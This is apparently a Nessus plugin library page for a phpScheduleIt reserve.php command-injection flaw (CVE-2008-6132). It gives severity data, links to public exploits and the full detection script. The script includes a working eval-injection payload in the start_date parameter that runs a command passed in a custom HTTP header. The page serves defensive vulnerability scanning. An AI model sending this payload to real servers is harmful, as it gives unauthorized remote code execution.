phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection - Nessus

High   Plugin ID: 34338

This page contains detailed information about the phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 34338
Name: phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection
Filename: phpscheduleit_start_date_cmd_injection.nasl
Vulnerability Published: N/A
This Plugin Published: 2008-10-03
Last Modification Time: 2022-04-11
Plugin Version: 1.25
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: phpscheduleit_detect.nasl
Required KB Items [?]: www/PHP
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information


Severity: High
Vulnerability Published: N/A
Patch Published: N/A
CVE [?]: CVE-2008-6132
CPE [?]: cpe:/a:brickhost:phpscheduleit

Synopsis

The remote web server contains a PHP application that allows execution of arbitrary commands.

Description

The version of phpScheduleIt installed on the remote host fails to sanitize user-supplied input to the 'start_date' parameter of the 'reserve.php' script before using it in an 'eval()' function call. Provided PHP's 'magic_quotes_gpc' is disabled, an unauthenticated, remote attacker can leverage this issue to execute arbitrary code on the remote host, subject to the privileges under which the web server operates.

Solution

Upgrade to phpScheduleIt version 1.2.11 or later.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection vulnerability:

  1. Metasploit: exploit/multi/http/phpscheduleit_start_date
    [phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection]
  2. Exploit-DB: exploits/php/webapps/6646.php
    [EDB-6646: phpScheduleIt 1.2.10 - 'reserve.php' Remote Code Execution]
  3. Exploit-DB: exploits/php/webapps/18037.rb
    [EDB-18037: phpScheduleIt 1.2.10 - 'reserve.php' Arbitrary Code Injection (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:M/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C
CVSS Base Score:6.8 (Medium)
Impact Subscore:6.4
Exploitability Subscore:8.6
CVSS Temporal Score:5.6 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.6 (Medium)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.2 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.2 (High)

Go back to menu.

Plugin Source


This is the phpscheduleit_start_date_cmd_injection.nasl nessus plugin source code. This script is Copyright (C) 2008-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(34338);
  script_version("1.25");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2008-6132");
  script_bugtraq_id(31520, 33855);
  script_xref(name:"EDB-ID", value:"6646");

  script_name(english:"phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that allows execution
of arbitrary commands.");
  script_set_attribute(attribute:"description", value:
"The version of phpScheduleIt installed on the remote host fails to
sanitize user-supplied input to the 'start_date' parameter of the
'reserve.php' script before using it in an 'eval()' function call. 
Provided PHP's 'magic_quotes_gpc' is disabled, an unauthenticated,
remote attacker can leverage this issue to execute arbitrary code on
the remote host, subject to the privileges under which the web server
operates.");
  # http://sourceforge.net/project/shownotes.php?group_id=95547&release_id=662749
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f01c512f");
  script_set_attribute(attribute:"solution", value:
"Upgrade to phpScheduleIt version 1.2.11 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'phpScheduleIt PHP reserve.php start_date Parameter Arbitrary Code Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_cwe_id(94);

  script_set_attribute(attribute:"plugin_publication_date", value:"2008/10/03");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:brickhost:phpscheduleit");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("phpscheduleit_detect.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");


port = get_http_port(default:80, php:TRUE);


cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";


# Test an install.
install = get_kb_item(string("www/", port, "/phpscheduleit"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
  dir = matches[2];

  # Make sure the affected script exists.
  url = string(dir, "/reserve.php");

  r = http_send_recv3(method:"GET", item:url, port:port);
  if (isnull(r)) exit(0);
  res = r[2];

  # If it does...
  if ("return check_reservation_form" >< res)
  {
    # Try to exploit the flaw to run a command.
    fake_srv = string("NESSUS_", toupper(rand_str()));
    postdata = string(
      "btnSubmit=1&",
      "start_date=1').${passthru(base64_decode($_SERVER[HTTP_", fake_srv, "]))}.${die};#"
    );

    r = http_send_recv3(method: "POST", item: url, port: port,
      add_headers: make_array( "Content-Type", "application/x-www-form-urlencoded",
      		   		"Referer", build_url(port:port, qs:url),
				fake_srv, base64(str:cmd)),
	data: postdata);
    if (isnull(r)) exit(0);
    res = r[2];

    lines = egrep(pattern:cmd_pat, string:res);
    if (lines)
    {
      if (report_verbosity)
      {
        output = "";
        foreach line (split(lines))
          output += ereg_replace(pattern:'^[ \t]*', replace:"  ", string:line);

        report = string(
          "\n",
          "Nessus was able to execute the command '", cmd, "' on the remote\n",
          "host to produce the following results :\n",
          "\n",
          data_protection::sanitize_uid(output:output)
        );
        security_warning(port:port, extra:report);
      }
      else security_warning(port);
    }
  }
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/phpscheduleit_start_date_cmd_injection.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\phpscheduleit_start_date_cmd_injection.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/phpscheduleit_start_date_cmd_injection.nasl

Go back to menu.

How to Run


Here is how to run the phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection plugin ID 34338.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl phpscheduleit_start_date_cmd_injection.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a phpscheduleit_start_date_cmd_injection.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - phpscheduleit_start_date_cmd_injection.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state phpscheduleit_start_date_cmd_injection.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
  • CWE-94 (Weakness) Improper Control of Generation of Code ('Code Injection')
See also:

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file phpscheduleit_start_date_cmd_injection.nasl version 1.25. For more plugins, visit the Nessus Plugin Library.

Go back to menu.